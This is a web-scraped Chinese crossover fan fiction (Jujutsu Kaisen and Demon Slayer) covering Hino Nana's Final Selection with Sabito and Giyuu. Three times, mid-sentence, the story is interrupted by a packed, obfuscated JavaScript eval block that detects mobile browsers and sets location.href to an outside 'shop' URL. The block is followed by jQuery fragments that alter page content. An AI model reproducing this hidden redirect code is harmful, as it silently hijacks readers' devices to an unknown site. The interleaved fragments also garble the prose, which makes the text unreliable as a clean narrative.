《给鬼杀队一点回血震撼》 1. 杀鬼（已修） 日野奈奈猜测，自己是被刚才那只咒灵拉进了生得领域。 即将被她杀死的咒灵发出了可怖的哀嚎，随后一阵灵魂被拉扯的感觉袭来—— 于是日野奈奈就来到了这里。 ……这跟之前说好的咒灵等级不一样吧，二级咒灵怎么想都没法展开领域啊。 日野奈奈抿着唇观察周围的环境，脑海中回忆起夏油老师临行前的交代。 “奈奈的咒力不多呢，虽然反转术式很熟练，但出任务时也要注意观察和控制哦，毕竟你只能暂时用体术杀咒灵呢，”半披着发的男人笑眯眯地说，“可惜我也有任务，不然这次也可以跟着了。” 她一直都是被夏油老师带着做任务的，跟盯小鸡崽一样，只有这次因为行程安排错开了。 又偏偏是这次，她中套了。 对不起，夏油老师，可能不能平安回去了，日野奈奈心里默语。 她紧了紧手中的长刀，安静地环顾四周。 木结构的长屋鳞次栉比，大部分陈旧不堪。她站在两间屋落中间的小巷内，头顶月光幽然。 似乎是一个很落后的小镇。 忽然，她耳朵一动，不远处传来急促的喘息声和惊恐的叫声。 “救命！救命！我做不到啊！我做不到杀了这家伙啊！” 杀？日野奈奈捕捉到了关键词，下一秒出现在另一条巷弄中。 一个披着羽织的少年抖着腿将一个小孩护在身后，手中的刀抖个不停，鲜血滴滴答答从他的右肩汇下。 他的对面是一个长相奇特丑陋的生物，发出桀桀怪笑，猛地向少年和小孩扑去。 “啊！恶鬼！我跟你拼了！”少年闭上眼睛绝望地挥刀乱砍。 “水之呼吸·一之型·水面斩！” 刀轻飘飘砍在怪物脖子上，随后被怪物轻松拂开。 那刀法看得日野奈奈嘴角直抽，她提气上前挡下怪物的反击，漫不经心地朝怪物挥砍一刀。 怪物伸长的脖颈出现一条血线，下一秒，头颅飞了出去，在地上滚落两圈。 “好弱，”日野奈奈评价，又品味了下刚才的手感，“好脆。” 是咒灵吗？不像。像是有实体的感觉，那么诅咒受肉？ 日野奈奈困惑地挠挠头。 她蹲下身来戳戳无头尸体，还没等她戳第二下，不远处的怪物头颅大骂起来。 “不要脸的鬼杀队，这么强的实力还要埋伏我个普通鬼吗？！果然，人类都是卑鄙的存在，可恶，可恨！我要把你们吃了，全都吃了！” 没死？ 日野奈奈毫不犹豫起身向尸体和头颅再斩五刀，怪物还没骂完嘴巴就被斩开了，瞪圆了眼睛，面上后知后觉浮出惊恐意味。 还没死？日野奈奈纳闷地看着地上鲜血四溅的场景。 有实体，不像咒灵。致命伤杀不死，不像受肉。而且也不会用反转术式治疗自己，很弱。 日野奈奈陷入茫然，这种东西是啥？ 老师没教啊。 “那、那个……”背后传来带着哭腔的声音，“用普通的刀是杀不死这种东西的……” 日野奈奈侧头，看见那个少年擦着眼泪向她递来手中的刀：“请用这个吧。鬼只能被这种刀或是阳光杀死。” 日野奈奈乖乖“哦”了一声，转身干净利落给了怪物最后一击。 随后和少年一起目送怪物的身体逐渐化为灰烬。日野奈奈余光扫了少年两眼。 肩膀擦伤，还好，不用反转术式也行。 省下一波咒力了。 看怪物彻底消失，浑身紧绷的少年松了一口气。他转身猛然向日野奈奈扑来，眼泪汪汪：“恩人！谢谢您！！” “要不是您来我就要死在今夜了呜呜呜！还有啊，还有那个孩子！也都要被吃掉了！” “果然我这种人压根进不了鬼杀队，我放弃了，我要放弃了，只有恩人这种实力才配得上去斩鬼吧——” 少年抱着日野奈奈嚎啕大哭，鼻涕和眼泪一齐糊在日野奈奈的衣服下摆。 日野奈奈瞪圆了眼睛，惊恐地后退两步，眼睛和后面的小孩对上了视线。小孩眼睛里含着两泡泪，见日野奈奈看他，哇地一声也哭了，他哭着冲上来抱着日野奈奈的腿。 这下裤子也湿了。 日野奈奈僵硬在原地。 在持刀少年的一把鼻涕一把泪中，日野奈奈艰难地了解现状。 几分钟前袭击他们的不明生物是“鬼”，是人类感染鬼血而成的异变生物，变成鬼后，鬼会逐渐失去人类时期的情感和记忆，靠吃人而活，唯一的弱点就是阳光和日轮刀。 日野奈奈越听越呆。 “等等……”她试图搞清楚现状。 她还记得自己是进了咒灵的生得领域吧，但这种穿越一样的展开是怎么回事啊。 什么鬼不鬼的，人类面对的麻烦不该是诅咒之类的东西吗！ 话说，这个地方的咒力好像不是很浓厚啊，等等，好像是几乎没有咒力啊！ 认真感应一番的日野奈奈呼吸一滞，大脑彻底停摆。 到底是怎么回事？夏油老师，五条老师！快来捞捞她啊！ 日野奈奈面色空白地和少年送小孩回家，在孩子母亲的鞠躬和道谢声中离开。 “恩、恩人，您接下来也一定是要去藤袭山参加最终考核对吧？”少年情绪平复下来，露出了腼腆的微笑。 “啊，嗯，嗯？”日野奈奈还沉浸在迷茫中，下意识应了几声。 少年沉默了一会，接着像是下定了决心。他快步超过日野奈奈，在少女面前站定脚步，面色坚毅。 他猛然弯腰，向少女递出自己腰间的日轮刀，声音颤抖而嘹亮：“恩人，请收下！” 日野奈奈被惊得一颤：“啊？” 少年闭着眼睛，眼睫颤抖：“我仔细考虑了一下，果然……虽然我通过了师父的考核，但是，我还是没有面对鬼的决心和勇气。” “对鬼突然的袭击，我当时大脑一片空白，明明想要挥出手中的刀，明明想要守护身后的孩子，但是，战斗时，恐惧全然填充了我的思绪。” “我没办法做到像恩人一样果断的斩击，没办法像恩人一样轻描淡写地杀掉鬼，”他低着头，递刀的手因为不甘爆出青筋，“像我这种平庸的家伙，学习剑术大抵毫无意义吧……” “恩人似乎没有日轮刀，那么，就用我的好了。毕竟我这种平凡无比的家伙，只能给恩人带来这一点帮助吧。” 他丧气垂头，等着恩人收下自己的刀。随后，他想，接下来应该会分道扬镳吧。 他这种无能的家伙，怎么能幻想自己像个大英雄呢。 然而。 “我不要。”拒绝的话语从日野奈奈嘴中说出。 她拿起少年双手奉出的刀，随手插回他的腰间。 “……诶？”少年呆愣。 “我说，你叫什么？” “……村田。” “哦，村田。你这家伙也太奇怪了吧。” “手上全都是茧子，应该是长期的训练导致的。刚刚毫不犹豫地把孩子护在身后，说明有保护的决心。” “既然已经修习了剑术，那么就只是缺乏经验而已，为什么要把自己贬得一文不值。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102892|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 日野奈奈一点都不理解这种对自己求毛求疵的家伙。 如果什么都干到最好才能去干的话，那么世上百分之九十九的事都不会有人开始。 而且比她弱什么的，那是理所应当啊！ 她可是从咒术界那两位最强的训练下全须全尾地坚持下来了！体术更是夏油老师手把手教的！ 随随便便就这样和她比，看不起谁啊？ 想到这里，日野奈奈不高兴地瞪了村田一眼，转身走掉了。 留下村田愣在原地，他深深地吸了一口气，感动地看着少女的背影：“恩人——” 还不待他抒发情绪，就看到恩人摸着头调头回来：“那个，藤袭山怎么走？我忘了。” 还沉浸在感动中的村田直拍胸脯：“交给我，恩人，我记得清清楚楚！” 随后便像撒欢的狗子一样在前方带路跑去。 还打算编撰理由的日野奈奈语塞。 村田，好容易热血上头，也好容易相信别人…… 摇了摇头，日野奈奈思索。 目前看来，这是个咒力无比稀少的地方，而且存在着很多她未知的事物，简直都不像咒术界了。 ……那么，就向最热闹的地方进发吧。 热闹催生混乱，混乱催生机会，机会蕴含真相。 想要找到回家的路，就要抓住一切机会搜寻信息。 藤袭山的最终选拔？听上去就很隆重。让她看看，这到底是什么地方。 讨厌，她可不是脑力派啊，一切要是都能简单地结束就好了。 日野奈奈撇了撇嘴，跟上了村田的脚步。 不开心，回去要把五条老师的甜品全部偷来吃掉。 在到达藤袭山前，日野奈奈有想过选拔的场面是什么样的。 或许是众多剑士静默有序地肃立等待，或是彼此热烈的交流战斗技巧精进武艺，毕竟“最终”这两个字听起来就很有仪式感。 但没想到她目睹的第一件事就是一场激烈的吵架。 “喂，小子，你什么意思？！”一个人双目喷火地拎着一个少年的衣领。 被指责的黑发少年似乎有些茫然，重复道：“你的刀不行，下山去吧。” “刀不行？开什么玩笑，这是师父给我的刀！看不起我就直说，居高临下的什么态度！” 黑发少年有些无措，他转头向日野奈奈的方向看来，眼露求助的意味。 ——蓝色的眼睛很美丽，像是波光粼粼的海洋。这是日野奈奈的第一印象。 不过她很快反应过来对方没在看她。 另一道身影迅速从身旁掠过，眨眼就握住了拎着黑发少年衣领的手。 “误会，误会，他没有别的意思。” 肉粉色头发的少年头也不回地踢了黑发少年一脚：“义勇，我说过要把话说全吧！把话语的意思完完整整表述一遍！” 被叫做义勇的男孩张了张嘴，顺从道：“你的刀上有一道裂纹，如果拿着这把刀进山的话或许会断掉，下山去拿把好点的刀再来吧。” 肉粉发少年松了口气，看向旁边那个有些错愕的人：“就是这个意思。” “啊，原来是这样……”刚刚还暴躁无比的男人恍然大悟，面露羞涩的红晕，“真是不好意思。” ……你脸红个泡泡茶壶啊。 那边开始了嗨嗨果咩那塞之类的交谈，日野奈奈收回视线，嘴角抽了抽。 她又看了看身旁满眼星星看着自己的村田，内心有一股极其微小的悔意。 ……怎么感觉她来错地方了。 这个地方有靠谱的人类吗？ 2. 锖兔（已修） 日野奈奈没有等太久，突然出现的陌生老人宣告了最终选拔的规则，而后提着灯笼消失在视野边缘。 在这片紫藤花树林环绕的山上，面对鬼的威胁存活七天啊。 日野奈奈歪了歪头。 她记得……鬼好像是吃人的吧？ 将预备队员放进山，于搏杀中取得生存的机会，这个名为鬼杀队的组织还真是狠心。 算了，或许这群进山的预备队员都实力不俗，是很强悍的剑士也说不定呢。 日野奈奈心情愉快地转了转手中借来的日轮刀。 之前村田借她的时候她还没察觉，现在拿到鬼杀队给她的影打，她才发觉这日轮刀内有一股充沛而炽烈的能量。 就像太阳一样，暖洋洋的。 日野奈奈舒适地眯起眼。这和她的术式相性很高呢。 她的术式【三态日轮】借助阳光才能发出巨大威力，虽然她的咒力无法支持自己频繁使用术式，但这不妨碍她喜欢一切和太阳有关的东西。 少女握着刀往前走了两步，又回过头：“你还要跟着我吗？” 背后亦步亦趋的村田不好意思道：“抱歉，我、我有点怕。” 日野奈奈：“我倒是不介意，但你想变强吧？跟着我是不会有这个机会的。” 她轻轻抚过日轮刀，懒洋洋道：“因为所有阻拦我的敌人都会被杀掉。” 村田犹豫起来，过了一会眼神逐渐坚定：“我明白了。” 他向旁边走了几步，朝日野奈奈鞠了个躬：“一路以来万分感谢您，祝您武运昌隆。” “您这么强大，一定会一直一直，一直活下去的。” 日野奈奈打到一半的哈欠被他郑重的态度挡了回去，迷茫地看着他。 她默然看着村田抱着一脸必死的决心离开。 搞什么，搞得像他之后会死一样。 日野奈奈提身向山顶掠去，脑海里念头一闪而过。 无所谓，就算死了，她也能用术式给人捞回来。 * 虽然这个地方咒力稀薄，但以一身被夏油杰训练出来的体术，日野奈奈还是花了两天时间，顺利地把这座山大致搜查了一遍。 又到深夜，明月高悬。稀碎的光芒透过林间疏散地洒落在地。 “毫无线索啊……”她坐在树上喃喃道。 无咒力，无咒灵，无结界。 世间种种不可能脱离物质的本质而存在，毫无疑问，这是一个没有诅咒的世界。 这也意味着，她脱离了原本的世界。 ……开什么玩笑。 原本希望自己的失踪能被发现然后混蛋老师能来捞她的日野奈奈彻底被现实击垮。 她低头看向自己的拳头，浅金色的咒力淡淡地从手中溢出。 明明自己身上的咒力还存在着，与眼前的一切格格不入。 以及…… 日野奈奈叹了口气，翻身下树。 刀锋一甩，不远处的鬼应声倒下，被追逐的少年哭得涕泗横流，连滚带爬地从鬼消失的身体下爬出来，感激地冲日野奈奈道谢。 ……以及这群进山的孩子完全就是菜鸟啊！ 这场所谓的最终选拔也完全没有任何生命安全保障啊！ 这个地方真的正规吗？ 日野奈奈抚着额头匪夷所思，对这个陌生世界的茫然和疑虑越积越深。 “谢谢，谢谢您……”被救下的少年抖抖索索地说。 可怜的孩子，连舌头都不利索了。 “注意安全。”日野奈奈冲少年点了点头，身影遁入背后的树林中。 落后，平凡，无趣。 少女在树林间穿梭，刀光在无数恶鬼的脖颈上划过，这种感觉在心中越来越明显。 前方传来打斗的声音，日野奈奈应声而去。 树丛掩映间，她看见一只恶鬼向一位惊恐的少年冲去，少年挥刀的手因为惧怕而颤抖，眼看着无力反击。 日野奈奈面无表情地抽刀，刚准备飞身过去救人—— 下一刻。 “水之呼吸·一之型·水面斩！” 凌厉漂亮的刀间溢出溪流般绵延柔韧的刀势，突袭的来人从另一个方向飞掠而出，肉粉色的发丝在空中飞扬。 那是一段无比精确利落的斩击，日野奈奈的瞳孔里倒映着那斩月夜银光，睁大了眼睛。 在这个咒力匮乏之地，目之所及处大多数是平庸之人，哪怕他们手中都是粗茧，身上都是训练得来的淤青，但他们的刀势都是粗糙的，更缺少一种杀掉敌人的决心。 在这座藤袭山上，日野奈奈见多了这些仍需精进之辈，便理所当然以为这里的孩子们都是努力却普通的存在。 但她眼前的这一刀狠狠劈开了那种沉闷，少年挥刀时手臂暴起的青筋，沉冷肃杀的嗓音，行云流水，杀伐果断，一击必杀。 ——这是一位已雕琢成璞玉的剑士。 日野奈奈的心猛然跳了两下，颇感无趣的倦怠感被刀光划破，就像是从前无数次陷入低谷时直觉的牵引，一种预感悄然浮现—— 跟着他，跟着这个世界的强者，她会得到自己想要的答案。 刀光掠过，鬼头落地，化为灰烬。 “叮。” 来人收刀入鞘，身形挺拔修逸。 “谢谢！”被护下的少年抖着腿，一屁股坐到地上。 带着狐狸面具的少年摇了摇头，他身后不远处，另一位带着狐狸面具的少年匆匆忙忙赶来。 “锖兔！” 少年呼喊道。 清澈明亮的少年声音惊醒了日野奈奈。 没有犹豫，她轻轻一个跃身，跳到了几人眼前。 “你们好呀。”日野奈奈笑眯眯地挥挥手，“我可以和你们搭个伙吗？” 身形纤细的黑发少女站在两位狐狸少年面前，看起来热忱而无害。 那个日野奈奈记得叫做义勇的少年看着她，脱口而出：“你跟不上我们。” 日野奈奈笑容一顿：“？” 半掀起面具的少年锖兔刚皱起眉头，听了义勇的话嘴角一抽，无奈向日野奈奈的方向看来：“他没有恶意的。” 义勇茫然地在两人中间左右看了看，后知后觉补充道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102893|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“你跟不上锖兔。” 锖兔：“……可以了，义勇，这听起来更不礼貌了。” 日野奈奈倒没生气，认真地说：“我觉得我跟得上。” “只允许我跟在你们后面就好，”她说，“不用顾虑我，我不会拖累你们。” 锖兔重新扣上了狐狸面具，黑洞洞的狐狸眼睛与日野奈奈对视。 “我们不会介意，请便。” 下一秒，他的身影向远处掠去，义勇看了看奈奈，紧随锖兔其后。 日野奈奈笑了起来，她朝地上呆住的被救少年眨眨眼睛，身影消失在原地。 锖兔和义勇渐渐意识到这个萍水相逢的少女并没有说玩笑话。 挥刀，潜行，杀鬼。 一夜过去，她一直紧紧跟在他们身后，姿态轻松。 偶尔还会帮他们斩去旁边黑暗里偷袭的恶鬼。 这是一位毋庸置疑的强者。 漫长的夜晚过去，鬼的身影无声无息消散在阴影中，日光从遥远的地平线上挥洒而来。 锖兔停下了脚步，他侧头看向天边的朝霞。 “我遇到过一位从西边来的人。与他交谈时，他说，在山的另一边，有一位少女在两天内斩杀了半个西山的鬼。” “那个少女，是你吗？” 他转头看向坐在树上晃脚的少女。 微弱的光线洒落在少女柔和的侧脸上，日野奈奈看着锖兔，弯了弯眼眸。 “你猜？” 义勇在旁边托腮：“我猜你是。” 是很笃定的语气。 日野奈奈用手势做了个勾勾：“恭喜你，答对了哦。” 锖兔走到树下，仰头注视着她：“我是鳞泷锖兔，他是富冈义勇。” 日野奈奈跳下了树，风轻柔地带起锖兔的衣角。 她朝对方伸出手：“我是日野奈奈。” 锖兔摘下面具，露出那张俊秀的面庞，他握住了奈奈的手。 黑发少年端坐在原地，冲日野奈奈点点头：“你好，日野小姐。” 自这句问候说出口的一瞬，一股突如其来的咒力汇入了日野奈奈的身体。 某种玄之又玄的羁绊虚虚连接起日野奈奈和旁边的黑发少年。 日野奈奈手一颤，讶异地看向面色诚恳的富冈义勇。 “怎么了？”富冈义勇迷茫回看。 “……富冈君，可以再叫一次我的名字吗。” “……日野奈奈小姐？” 咒力再次汇入体内，虽然比刚才微弱，但还是被日野奈奈敏锐地捕捉到了。 那抹咒力静静延伸在日野奈奈和义勇之间，就像漆黑无比的大海上出现一段显眼夺目的灯带。 后知后觉意识到这一点，奈奈回过神，甩开了错愕的锖兔。 她迅速握住义勇的手，满眼郑重：“义勇君，请务必和我多多交往……！” 她必须明白这是怎么一回事！ 粗糙的双手被少女攥在手里，柔软的温度顺着指尖处传来。 尚还年轻的富冈义勇瞳孔地震。 这是……在求爱吗？！ 3. 救他（已修） 锖兔呼吸一滞，挤开了义勇，再次接过日野奈奈的手。 “等等，日野小姐，义勇他只有十三岁啊！！” 面对两人惊恐的目光，日野奈奈歪了歪头，很困惑：“十三岁不可以交朋友吗？” 交朋友？ 锖兔松了口气：“原来是这个交往。” 义勇也松了口气。他露出一个笑容，蓝眼睛亮亮的：“当然可以。我们已经在并肩作战了，不是吗？” 日野奈奈弯了弯唇角：“那么之后请多指教。” 她晃了晃和锖兔连着的手，色泽如蜜的金瞳在阳光下流转，显露出快乐的意味。 锖兔看着她的目光像是被烫了一下，骤然松开了彼此的手。 浅金色的风和着日月的光芒掠过漫山遍野，白日在浅眠和闲聊中逝去，月夜在杀鬼和救人中消弭。 三人在藤袭山上奔袭着，刀光剑影汇成护下生命的坚韧水流。 每次一往直前的突刺，每次背靠背的作战，四天四夜不分离的奔忙相处，少年少女们的感情渐渐深厚起来。 转眼，便到了考核的最后一天。 夕阳坠入远山的那一刻，日野奈奈舒展身体，百无聊赖地向旁边两人提了个建议。 “最后一个晚上，比一比我们谁杀鬼更多吧？” 她对着锖兔道。 经过半个星期的相处，他们的关系亲密了很多，日野奈奈也对这两位同师门的师兄弟了解更多。 鳞泷锖兔是个经历过苦修、被漫长岁月磨砺过的毋庸置疑的天才。 富冈义勇的天赋也是惊才绝艳，但他修习的时间没有锖兔长，心态也没有锖兔沉稳。 也因此，此刻的义勇显然有些疲倦，毕竟每晚都在高强度地搜寻和杀鬼。 “最后一个晚上，把这座山上的所有鬼都杀掉吧。”日野奈奈轻飘飘地说。 她看着锖兔，满眼志在必得，跃跃欲试。 锖兔轻笑一声。 “那就再加一码吧，”他说，“也比一比护下的人数。” 日野奈奈欣然应允。 最后一个夜晚，日野奈奈回到了山的西边，锖兔和义勇留在了藤袭山之东。 不复初来此地的苦恼和无趣，日野奈奈心情雀跃，手中的刀整晚不停，斩下十一只鬼的头颅。 日出之前，她带着可观的数字来到和锖兔义勇约定的地方，藤袭山的最中间。 满眼期待，志得意满。 ——却看到了锖兔被血染红的羽织。 “奈奈……”义勇的眼睛红彤彤的。 “真是不好意思啊，”锖兔虚弱地被义勇撑着，“居然这么狼狈地见面了。” 锖兔结实的臂膀处血流如注，义勇用力按着，努力地止血，眼泪啪嗒啪嗒掉在锖兔的龟纹羽织上。 日野奈奈愉快的神情僵在脸上。 义勇按着锖兔的伤口，向奈奈解释：“我们杀完了东边的鬼后就过来了，但却撞上了一只无比庞大的手鬼。” “它……是我们师父的仇人，”义勇咬牙道，“锖兔和他战斗的时候刀差点断掉，结果被它偷袭了。” 锖兔咳了咳，淡定道：“这不是有你在吗，帮我挡下了攻击。早就说过了，义勇很可靠的。” 他抬手想拍拍义勇的背，义勇吓得吼他：“你别动啊，血要止不住了！” 锖兔淡淡道：“死不了，该死的另有其鬼。” 他银色的眼眸一转，旁边丑陋的庞大之鬼身躯赫然已经要消散完毕。 锖兔和义勇你来我怼半天，突然意识到日野奈奈一直都没说话。 他们疑惑地向少女站立的地方看去。 对上了日野奈奈空白的视线。 黑发金瞳的少女面无表情地看着他们，眼睛睁得很大，整个人像是被冰冻住，僵在原地。 “奈奈……？”锖兔意识到不对劲，挣扎着朝日野奈奈伸出手。 沾满血迹的手在视野里出现，日野奈奈睫毛一颤。 她一个箭步上前，握住了锖兔因为失血显得冰冷的手。 “三态日轮·晨曦式·阳晖！” 日野奈奈左手掌心迸发出刺目的灿金色光芒，覆盖在锖兔的伤处。 另一只手紧紧握着锖兔冰凉的手，微微颤抖着。 少年伤残的地方肉眼可见地编织、生成、痊愈，眨眼间速度可怖地恢复如初。 锖兔和义勇惊愕地看着眼前的一幕，几乎屏住呼吸。 锖兔能感受到暖洋洋的感觉从破损的臂膀处传来，难以忍受的剧痛被那种温暖一点点地逼走。 与之相反的是，日野奈奈的脸色肉眼可见地苍白下来。 身上的伤口恢复如初，锖兔霍然起身，扶住了脚软的日野奈奈：“喂……！” “冷静，冷静，深呼吸——” 日野奈奈大口大口喘着气，她紧紧攥着锖兔的手，好一会儿才平静下来。 锖兔和义勇焦急地问她情况，奈奈没有管，她看着那片龟纹羽织的破损处。 那里不复伤口，而是平实漂亮的薄肌。 日野奈奈小心翼翼地上手摸了摸，血管在她手下有活力地跳动，充满勃勃生机。 她长长舒了一口气，放心地被两人撑住，喃喃自语：“吓死我了……” 缓过神来越想越气，转身给了锖兔一拳：“吓死我了啊！” “别让自己受这么重的伤啊！”她边锤边道，“不知道别让人担心吗！” 锖兔默不作声地挨打，日野奈奈不解气，转身恶狠狠瞪向义勇，扫视义勇全身后，眉眼微微舒缓。 “没受什么伤，义勇比锖兔好多了！”她宣布。 义勇顺着她点头，眼尾还有一点红：“就是，锖兔就知道让人担心。” 两人开始凑一起蛐蛐，锖兔越听越无奈：“你们两个别得寸进尺啊。” “锖兔才没有资格说我们！”日野奈奈叫道。 义勇赞同：“没错！” 锖兔眉眼间满是无奈，但也任由他们去。 他摸了摸自己原来的伤处，义勇的泪水和少女的温度都太滚烫，烫得他心头发涩。 不管怎么样，是他让她们担心了。 等到奈奈和义勇酣畅淋漓地蛐蛐完后，日光悄悄地从林间探头了。 藤袭山最终选拔，终于宣告结束。 日野奈奈收拾好心情，再次确认锖兔一切都好后，一蹦一跳地下山了。 在她的背后，水门师兄弟不约而同地放慢了脚步。 “奈奈她……”义勇迟疑。 锖兔轻声道：“替她保守秘密吧，义勇。” 看着少女离去的背影，锖兔久久凝望：“奈奈她不是普通人，那股力量……捉摸不透。但我们都知道，她是很好的人。” 义勇松了口气：“当然，我也是这么想的。” 两人近乎悄无声息地达成共识。 渐浓的紫藤花浮在他们的上空，温柔地包裹着少年人的善意。不远处，鎹鸦在枝桠间飞过。 紫藤花瀑布下，日野奈奈郁闷地靠在树干上，叹了口气。 结果最后兜兜转转还是不知道怎么回咒术界呢。 她一边思索之后该怎么行动，一边支起耳朵听着选拔结束后的流程。 听闻这次最终选拔全员通过无人死亡，日野奈奈弯了弯眼眸，但她也没错过主持仪式的那位老人脸上讶异无比的神情。 似乎最终选拔有这么多人通过是件多么不可思议的事情。 不少人都在环视，好像在寻找什么人，很快，另一边下山的锖兔被人包围了起来，细碎的感谢声远远传来，差点互相鞠躬鞠出火星子。 毕竟这家伙救了不少人呢。 见锖兔被道谢大军淹没，日野奈奈靠着树干幸灾乐祸地笑了两声。 随后她便看到又一群人环顾四周，也在寻找着什么。 低低的交谈声顺着风声传来。 “很强悍的少女”“救人”“黑发金瞳，身着奇怪的制服”…… 等等，这个形容听着有点眼熟。 日野奈奈缓缓低下头。 黑头发，金色眼睛，穿着之前做任务时的高专校服。 日野奈奈：“……” “一定要好好感谢！”“她之前走得太快了，我都没来得及说上两句话……”“天啊，我也想像她那么强——” 趁那群人还没注意到这个角落，日野奈奈连忙几个跃身蹦到了紫藤花树高高的枝丫上。 其他人寻找良久无果，不甘心地放弃了。 等到他们在老人那里选好玉钢一一离开，日野奈奈才从树顶上默默下来。 甫一下树，背后传来冷不丁一声。 “怎么爬这么高。” 日野奈奈一个激灵，转头放松下来。 “真吓人啊，锖兔，突然出声什么的。 “对了，你的腰还好吗？”她瞟了眼锖兔的腰腹，少年人回礼鞠躬时的褶皱还留存着。 锖兔无奈道：“你看见了啊。” 随后他很快反应过来：“原来你是上树躲人。” 他咋了咋舌，欲言又止。 旁边的义勇倒是直接耿直问道：“很多人在找你，你不想被大家喜欢吗？” “……义勇！” 日野奈奈拦下锖兔对义勇的斥责：“没事。” 她看向茫然的义勇，摊了摊手：“人与人的交流中，礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102894|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节是必需的，可惜我一点都不想对别人弯腰，所以别人也不用对我鞠躬。” 义勇呆了呆，若有所思：“原来还可以这样……” 锖兔一拳锤到男孩头上：“这种东西别学！” 回头就看到日野奈奈幽幽看着他：“你觉得我说的有问题？” 锖兔：“……啊不。只是义勇真的没必要再加剧从前的思维方式了。” 他一点都不想要一个行事更欠揍的木头师弟啊…… 日野奈奈哼了一声，锖兔赶忙道：“你不去选玉钢吗？只有最后几块了。” 懒得再多计较，日野奈奈的注意力顺着锖兔的话茬拐向了打造日轮刀的玉钢。 面对这些太阳之石，日野奈奈的心情显而易见地放松起来。 她随便指了一块，老人微笑着点点头，一只鎹鸦扑腾着翅膀落在日野奈奈的肩头。 “恭喜，成为了鬼杀队的一员。”锖兔的声音在一旁传来。 “以后，我们便真正是生死相随的队友了。” 日野奈奈侧头，锖兔正看着她。肉粉色少年的发丝在阳光中被染成金色，那双银瞳剔透如水晶，盈满笑意。 日野奈奈眨了眨眼睛，不远处的义勇正朝她招手。 队友……吗？ 少女在原地沉默良久，直到锖兔忍不住怀疑自己说错了什么时，日野奈奈才弯了弯眼睛。 “那么，可不要再轻易死掉了哦。” 一阵风袭过，黑色的发丝晃过锖兔的鼻尖。那一刻，锖兔没有看清眼前少女的表情，空气中只有一丝很淡的悲伤气息。 锖兔愣了愣，日野奈奈却已经态度如常地聊起其他。 “说起来，你们知道哪里有比较靠谱的住宿吗？我目前没有可以等日轮刀的居所。” 得知日野奈奈下山没有去处后，锖兔将先前心里的怪异抛诸脑后，和义勇热情邀请奈奈去往他们训练的狭雾山作客。 “毕竟快要新年了嘛，一个人过也太冷清了。” 他们都是这么认为的。 日野奈奈觉得这个安排也挺好，毕竟目前只有义勇和咒力有所关联，多多接触也有助于发现什么。 ……更何况，和他们两个相处很开心。 于是日野奈奈接住了锖兔和义勇抛来的邀请，三人一齐踏上了去往狭雾山的路。 另一边。 静谧秀雅的庭院内。 一只瘦削苍白的手伸出屋檐下的阴影，摸了摸刚飞来的鎹鸦。 “这么多优秀的孩子都留下来了吗，真是了不起啊。” 鎹鸦继续叫唤，男人侧耳倾听着，脸上渐渐流露惊讶：“是吗，竟然有这样的孩子出现……” 鎹鸦汇报完毕飞向晴空。男人目送它远去，若有所思。 “治愈的力量吗……” …… 前往狭雾山的路途并不遥远，踏着一场黄昏的雪，日野奈奈见到了锖兔与义勇的师父，鳞泷左近次，以及他们的师姐，真菰。 虽然来的路上锖兔他们没有多说什么，但当两个少年站在戴着天狗面具的老人面前沉默拥抱时，日野奈奈还是明白了一些事。 原来面对死亡，锖兔也是会后怕的啊。 她若有所思地撇了一眼肉粉色少年眼角偷偷拭去的泪水，转头没有细看。 转而对上了真菰含笑而好奇的眼睛。 “好罕见呢，锖兔和义勇带着女孩子回来。” 日野奈奈礼貌回复：“那他们的社交能力有待提高。” 真菰被逗笑了：“因为他们都是一心练剑的傻瓜。” 她的语气很柔和：“他们每天、每天都在不停地训练，记忆在背后不断追逐着，时刻不停。” “这样固执的他们，很难与别人做上交心的朋友呢。所以我很开心他们也会带着别人回来。”真菰拉着日野奈奈的手，到一旁坐下。 “你一定是做了让锖兔和义勇认可的事情，或者是帮了他们大忙，所以他们才会这样信任你。但是干成那种事一定很辛苦吧？” “谢谢你。”真菰说，“师父也一定是这么想的。” 日野奈奈随着真菰的眼神看向另一边，揽着自己弟子的鳞泷左近次冲她点了点头。 面对这份全盘托出的信任，向来有话直说的日野奈奈一时失语。 好半天她才把自己的舌头找回来，移开了视线：“你们师门真是……” 真菰笑了笑。 就这样，在鳞泷一门的欢迎下，日野奈奈在狭雾山暂时住了下来，直到大晦日那天的早晨。 正当日野奈奈和锖兔一起捉弄义勇增进感情时，背着日轮刀的匠人与旧年的最后一轮太阳，一同出现在地平线上。 4. 新刀（已修） “刀——刀——” “日轮刀——” 鎹鸦在屋外叫唤着，屋内正往义勇脸上糊纸条的日野奈奈抬起了头。 义勇如释重负地从她身下连滚带爬出来，奔向门口：“来了！” 